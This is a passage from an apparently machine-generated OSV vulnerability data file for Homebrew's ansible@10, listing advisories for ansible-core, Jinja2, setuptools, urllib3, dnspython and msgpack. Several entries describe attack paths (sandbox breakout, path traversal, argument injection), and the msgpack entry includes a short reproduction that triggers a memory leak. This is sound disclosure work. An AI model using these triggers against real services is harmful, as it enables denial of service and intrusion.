":"PyPI","name":"ansible-core","subject_version":"2.17.14","key":"pkg:pypi/ansible-core@2.17.14","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible vulnerable to Insertion of Sensitive Information into Log File","details":"A flaw was found in Ansible, where sensitive information stored in Ansible Vault files can be exposed in plaintext during the execution of a playbook. This occurs when using tasks such as include_vars to load vaulted variables without setting the no_log: true parameter, resulting in sensitive data being printed in the playbook output or logs. This can lead to the unintentional disclosure of secrets like passwords or API keys, compromising security and potentially allowing unauthorized access or actions.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-8775"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/8a87e1c5d37422bc99d27ad4237d185cc233e035"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:10762"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:8969"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:9894"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2025:1249"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2024-8775"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2312119"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-jpxc-vmjf-9fcj"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.16.13/changelogs/CHANGELOG-v2.16.rst#security-fixes"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.17.6/changelogs/CHANGELOG-v2.17.rst#security-fixes"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00021.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2024-9902","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-32p4-gm2c-wmch","CVE-2024-9902","PYSEC-2026-1121"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.17.6rc1","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.17.14"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.17.14","key":"pkg:pypi/ansible-core@2.17.14","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"ansible-core Incorrect Authorization vulnerability","details":"A flaw was found in Ansible. The ansible-core `user` module can allow an unprivileged user to silently create or replace the contents of any file on any system path and take ownership of it when a privileged user executes the `user` module against the unprivileged user's home directory. If the unprivileged user has traversal permissions on the directory containing the exploited target file, they retain full control over the contents of the file as its owner.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-9902"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/03794735d370db98a5ec2ad514fab2b0dd22d6be"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/03daf774d0d80fb7235910ed1c2b4fbcaebdfe65"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/3b6de811abea0a811e03e3029222a7e459922892"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/9d7312f695639e804d2caeb1d0f51c716a9ac7dd"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f7be90626da3035c697623dcf9c90b7a0bc91c92"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:10762"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:8969"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:9894"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2025:1861"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2024-9902"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2318271"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00021.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2025-14010","published":"2026-08-13T16:35:22Z","modified":"2026-10-08T00:10:54Z","upstream":["GHSA-8ggh-xwr9-3373","CVE-2025-14010","PYSEC-2026-1119"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.2.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Community General Collection is vulnerable to exposure of sensitive information","details":"A flaw was found in ansible-collection-community-general. This vulnerability allows for information exposure (IE) of sensitive credentials, specifically plaintext passwords, via verbose output when running Ansible with debug modes. Attackers with access to logs could retrieve these secrets and potentially compromise Keycloak accounts or administrative access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-14010"},{"type":"WEB","url":"https://github.com/ansible-collections/community.general/issues/11000"},{"type":"WEB","url":"https://github.com/ansible-collections/community.general/commit/08e56bbb9b57740a879d3057d84cdb02a162b840"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2025-14010"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2418774"},{"type":"PACKAGE","url":"https://github.com/ansible-collections/community.general"},{"type":"WEB","url":"https://github.com/ansible-community/ansible-build-data/blob/12.2.0/12/CHANGELOG-v12.md#security-fixes"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2025-27516","published":"2026-08-13T16:35:22Z","modified":"2026-09-17T18:48:29Z","upstream":["GHSA-cpwx-vrp4-4pq7","CVE-2025-27516","PYSEC-2026-1471"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"},{"fixed":"10.7.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.6","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja2 vulnerable to sandbox breakout through attr filter selecting format method","details":"An oversight in how the Jinja sandboxed environment interacts with the `|attr` filter allows an attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja's sandbox does catch calls to `str.format` and ensures they don't escape the sandbox. However, it's possible to use the `|attr` filter to get a reference to a string's plain format method, bypassing the sandbox. After the fix, the `|attr` filter no longer bypasses the environment's attribute lookup.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-cpwx-vrp4-4pq7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-27516"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/90457bbf33b8662926ae65cdde4c4c32e756e403"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00045.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2025-47273","published":"2026-08-13T16:35:22Z","modified":"2026-09-17T18:48:29Z","upstream":["GHSA-5rjg-fvgr-3xxf","BIT-setuptools-2025-47273","CVE-2025-47273","PYSEC-2025-49"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"},{"fixed":"10.7.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"78.1.1","resource":"setuptools","resource_purl":"pkg:pypi/setuptools@80.9.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"setuptools","subject_version":"80.9.0","key":"pkg:pypi/setuptools@80.9.0","resource":"setuptools"}]},"summary":"setuptools has a path traversal vulnerability in PackageIndex.download that leads to Arbitrary File Write","details":"### Summary \nA path traversal vulnerability in `PackageIndex` was fixed in setuptools version 78.1.1\n\n### Details\n```\n    def _download_url(self, url, tmpdir):\n        # Determine download filename\n        #\n        name, _fragment = egg_info_for_url(url)\n        if name:\n            while '..' in name:\n                name = name.replace('..', '.').replace('\\\\', '_')\n        else:\n            name = \"__downloaded__\"  # default if URL has no path contents\n\n        if name.endswith('.[egg.zip](http://egg.zip/)'):\n            name = name[:-4]  # strip the extra .zip before download\n\n -->       filename = os.path.join(tmpdir, name)\n```\n\nHere: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/package_index.py#L810C1-L825C88\n\n`os.path.join()` discards the first argument `tmpdir` if the second begins with a slash or drive letter.\n`name` is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient.\n\n### Risk Assessment\nAs easy_install and package_index are deprecated, the exploitation surface is reduced.\nHowever, it seems this could be exploited in a similar fashion like https://github.com/advisories/GHSA-r9hx-vwmv-q579, and as described by POC 4 in https://github.com/advisories/GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index.\n\n### Impact\nAn attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context.\n\n### References\nhttps://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5\nhttps://github.com/pypa/setuptools/issues/4946","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"WEB","url":"https://github.com/pypa/setuptools/security/advisories/GHSA-5rjg-fvgr-3xxf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-47273"},{"type":"WEB","url":"https://github.com/pypa/setuptools/issues/4946"},{"type":"WEB","url":"https://github.com/pypa/setuptools/commit/250a6d17978f9f6ac3ac887091f2d32886fbbb0b"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/setuptools/PYSEC-2025-49.yaml"},{"type":"PACKAGE","url":"https://github.com/pypa/setuptools"},{"type":"WEB","url":"https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/package_index.py#L810C1-L825C88"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/05/msg00035.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2025-50181","published":"2026-08-13T16:35:22Z","modified":"2026-10-14T04:45:28Z","upstream":["GHSA-pq67-6m6q-mj2v","CVE-2025-50181","PYSEC-2026-1999"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"},{"fixed":"10.7.0_3"},{"introduced":"10.7.0_4"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.5.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.3.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.3.0","key":"pkg:pypi/urllib3@2.3.0","resource":"urllib3"}]},"summary":"urllib3 redirects are not disabled when retries are disabled on PoolManager instantiation","details":"urllib3 handles redirects and retries using the same mechanism, which is controlled by the `Retry` object. The most common way to disable redirects is at the request level, as follows:\n\n```python\nresp = urllib3.request(\"GET\", \"https://httpbin.org/redirect/1\", redirect=False)\nprint(resp.status)\n# 302\n```\n\nHowever, it is also possible to disable redirects, for all requests, by instantiating a `PoolManager` and specifying `retries` in a way that disable redirects:\n\n```python\nimport urllib3\n\nhttp = urllib3.PoolManager(retries=0)  # should raise MaxRetryError on redirect\nhttp = urllib3.PoolManager(retries=urllib3.Retry(redirect=0))  # equivalent to the above\nhttp = urllib3.PoolManager(retries=False)  # should return the first response\n\nresp = http.request(\"GET\", \"https://httpbin.org/redirect/1\")\n```\n\nHowever, the `retries` parameter is currently ignored, which means all the above examples don't disable redirects.\n\n## Affected usages\n\nPassing `retries` on `PoolManager` instantiation to disable redirects or restrict their number.\n\nBy default, requests and botocore users are not affected.\n\n## Impact\n\nRedirects are often used to exploit SSRF vulnerabilities. An application attempting to mitigate SSRF or open redirect vulnerabilities by disabling redirects at the PoolManager level will remain vulnerable.\n\n## Remediation\n\nYou can remediate this vulnerability with the following steps:\n\n * Upgrade to a patched version of urllib3. If your organization would benefit from the continued support of urllib3 1.x, please contact [sethmichaellarson@gmail.com](mailto:sethmichaellarson@gmail.com) to discuss sponsorship or contribution opportunities.\n * Disable redirects at the `request()` level instead of the `PoolManager()` level.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-pq67-6m6q-mj2v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-50181"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/f05b1329126d5be6de501f9d1e3e36738bc08857"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.5.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2025-66418","published":"2026-08-13T16:35:22Z","modified":"2026-10-08T00:10:56Z","upstream":["GHSA-gm62-xv2j-4w53","CVE-2025-66418","PYSEC-2026-1998"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.6.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.3.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.3.0","key":"pkg:pypi/urllib3@2.3.0","resource":"urllib3"}]},"summary":"urllib3 allows an unbounded number of links in the decompression chain","details":"## Impact\n\nurllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., `Content-Encoding: gzip, zstd`).\n\nHowever, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.\n\n\n## Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.\n\n\n## Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.\n\nIf upgrading is not immediately possible, use [`preload_content=False`](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) and ensure that `resp.headers[\"content-encoding\"]` contains a safe number of encodings before reading the response content.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-gm62-xv2j-4w53"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66418"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/24d7b67eac89f94e11003424bcf0d8f7b72222a8"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2025-66471","published":"2026-08-13T16:35:22Z","modified":"2026-10-08T00:10:56Z","upstream":["GHSA-2xpw-w6gg-jr37","CVE-2025-66471","PYSEC-2026-1994"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.6.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.3.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.3.0","key":"pkg:pypi/urllib3@2.3.0","resource":"urllib3"}]},"summary":"urllib3 streaming API improperly handles highly compressed data","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nWhen streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.\n\nThe decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.\n\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.\n\n`stream()`, `read(amt=256)`, `read1(amt=256)`, `read_chunked(amt=256)`, `readinto(b)` are examples of `urllib3.HTTPResponse` method calls using the affected logic unless decoding is disabled explicitly.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.\n\nIf your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the `urllib3[brotli]` extra in the patched versions of urllib3.\n\n\n### Credits\n\nThe issue was reported by @Cycloctane.\nSupplemental information was provided by @stamparm during a security audit performed by [7ASecurity](https://7asecurity.com/) and facilitated by [OSTIF](https://ostif.org/).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-2xpw-w6gg-jr37"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66471"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/c19571de34c47de3a766541b041637ba5f716ed7"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/d0fde3672e4a4093f7587858dccfc298eb66e46c"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2xpw-w6gg-jr37"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2026-1994.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://pypi.org/project/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-11332","published":"2026-08-13T16:35:22Z","modified":"2026-10-08T00:10:55Z","upstream":["GHSA-w8p5-mx5w-cpqj","CVE-2026-11332","PYSEC-2026-3458"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.18.18rc1","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.17.14"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.17.14","key":"pkg:pypi/ansible-core@2.17.14","resource":"ansible-core"}]},"summary":"ansible-core: Argument injection in ansible-galaxy role install leads to arbitrary code execution","details":"A flaw was found in ansible-core. The ansible-galaxy role install command processes dependency specifications from a role's meta/requirements.yml file. Due to improper neutralization of argument delimiters, a malicious role author can inject arbitrary git configuration flags through the src field. This allows arbitrary code execution on the machine of a user who installs the role via ansible-galaxy role install.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-11332"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/87070"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/edee59aa15abcc74d920bb3e9c3835ab8db05a2f"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-11332"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2485379"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-11332.json"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-114605","published":"2026-10-29T21:53:03Z","modified":"2026-11-13T09:41:04Z","upstream":["GHSA-45c3-73f7-pv4m","CVE-2026-114605"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.9.0","resource":"dnspython","resource_purl":"pkg:pypi/dnspython@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"dnspython","subject_version":"2.8.0","key":"pkg:pypi/dnspython@2.8.0","resource":"dnspython"}]},"summary":"dnspython dns.name.from_wire_parser() excessive CPU use","details":"### Impact\nA maliciously crafted DNS message may cause dns.name.from_wire_parser() to use excessive CPU for DNS name decompression.  Applications that process untrusted DNS wire form messages with dnspython may be degraded or DoS'd by the extra CPU use required.\n\n### Patches\nThis problem is fixed in dnspython 2.9.0.\n\n### Workarounds\nThere are no known workarounds.\n\n### Credit\nEvgenios Gkritsis, Department of Informatics, University of Piraeus & Athena Research Center, Greece\nConstantinos Patsakis, Department of Informatics, University of Piraeus & Athena Research Center, Greece\nGeorge Stergiopoulos, Department of Informatics, Athens University of Economics and Business, Greece","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/rthalley/dnspython/security/advisories/GHSA-45c3-73f7-pv4m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114605"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/commit/b485e460c266540a1a09ca6d8d1d7b685b1d3023"},{"type":"PACKAGE","url":"https://github.com/rthalley/dnspython"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/releases/tag/v2.9.0"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/11/msg00017.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-114613","published":"2026-10-29T21:53:03Z","modified":"2026-10-29T21:53:03Z","upstream":["GHSA-j586-36cw-2gc2","CVE-2026-114613"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.2.3","resource":"msgpack","resource_purl":"pkg:pypi/msgpack@1.1.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"msgpack","subject_version":"1.1.2","key":"pkg:pypi/msgpack@1.1.2","resource":"msgpack"}]},"summary":"MessagePack: Unbounded memory leak in msgpack C extension on strict_map_key validation failure","details":"### Impact\n\nThe msgpack-python C extension (`msgpack._cmsgpack`) leaks a decoded map value when deserialization rejects a key with `strict_map_key=True` (the default). Repeated malformed inputs can cause unbounded process memory growth and denial of service in applications that deserialize attacker-controlled MessagePack data. Both `unpackb()` and the streaming `Unpacker` API are affected. The pure-Python fallback does not exhibit this leak in the reported tests.\n\nThe report measured approximately 4 MiB retained per failed parse and 100 MiB after 25 failed parses on Windows with Python 3.14 and msgpack 1.2.2. These are reporter-provided results.\n\n### Additional impact: stale parser-stack references\n\nThe reference-ownership audit performed while fixing this leak found an\nadditional memory-safety issue in the streaming `Unpacker`.\n\nAfter `unpack()` completed a nested container, an inactive parser-stack slot\ncould retain a non-owning pointer to the decoded object. A subsequent `skip()`\ncould reactivate that slot. If parsing then failed, context cleanup treated the\nstale pointer as an owned reference and decremented it.\n\nThis corrupts the object's reference count and can result in a use-after-free\nor double `Py_DECREF` when its actual owners later release it.\n\nAlthough few users use this API, but those who do may experience crashes or unexpected errors due to a use-after-free.\n\n### Details\n\nIn `msgpack/unpack.h`, `unpack_callback_map_item()` rejects keys that are neither `str` nor `bytes`. At this point the map value has already been constructed. The early error return does not release the value reference.\n\nIn `msgpack/unpack_template.h`, the value is held in the local `obj` in `unpack_execute()`. The `CT_MAP_VALUE` error path jumps to `_failed` without decrementing that reference. Cleanup of the parser stack does not recover the value because it is not stored in the stack. The fallback checks the key before decoding the value.\n\n### Affected versions\n\nThe report reproduces the issue on **1.2.2** and reports it on development commit `475c1b7`. The affected-product field lists the reproduced release only; it is not a claim that earlier releases are unaffected.\n\nThe earliest affected release needs confirmation: the report's summary says 1.1.x through 1.2.2, while its root-cause analysis attributes introduction to commit `cd81370` (PR #673). Resolve this discrepancy before publishing a definitive affected-version range.\n\n### Reproduction\n\nRun in a disposable local process with the C extension installed:\n\n```python\nimport msgpack\n\npayload = msgpack.packb({42: b\"A\" * (4 * 1024 * 1024)}, use_bin_type=True)\nmsgpack.unpackb(payload)  # Raises ValueError; the report observes a 4 MiB leak.\n```\n\nStreaming API trigger:\n\n```python\nimport msgpack\n\npayload = msgpack.packb({42: b\"A\" * (4 * 1024 * 1024)}, use_bin_type=True)\nu = msgpack.Unpacker()\nu.feed(payload)\nlist(u)  # Same strict_map_key error path.\n```\n\n### Workarounds\n\nThe pure-Python fallback is reported not to leak on this path and may be used as a temporary workaround after application compatibility and performance checks. Request-size and rate limits may reduce the impact but do not eliminate cumulative leakage.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/security/advisories/GHSA-j586-36cw-2gc2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114613"},{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/commit/620b0eb4c89cd72d4098564537624d9dbb2ce141"},{"type":"PACKAGE","url":"https://github.com/msgpack/msgpack-python"},{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/releases/tag/v1.2.3"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-118669","published":"2026-10-31T08:54:55Z","modified":"2026-10-31T08:54:55Z","upstream":["GHSA-7984-qgvg-3j9c","CVE-2026-118669"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"4.0.0","resource":"oauthlib","resource_purl":"pkg:pypi/oauthlib@3.3.1"}}],"database_s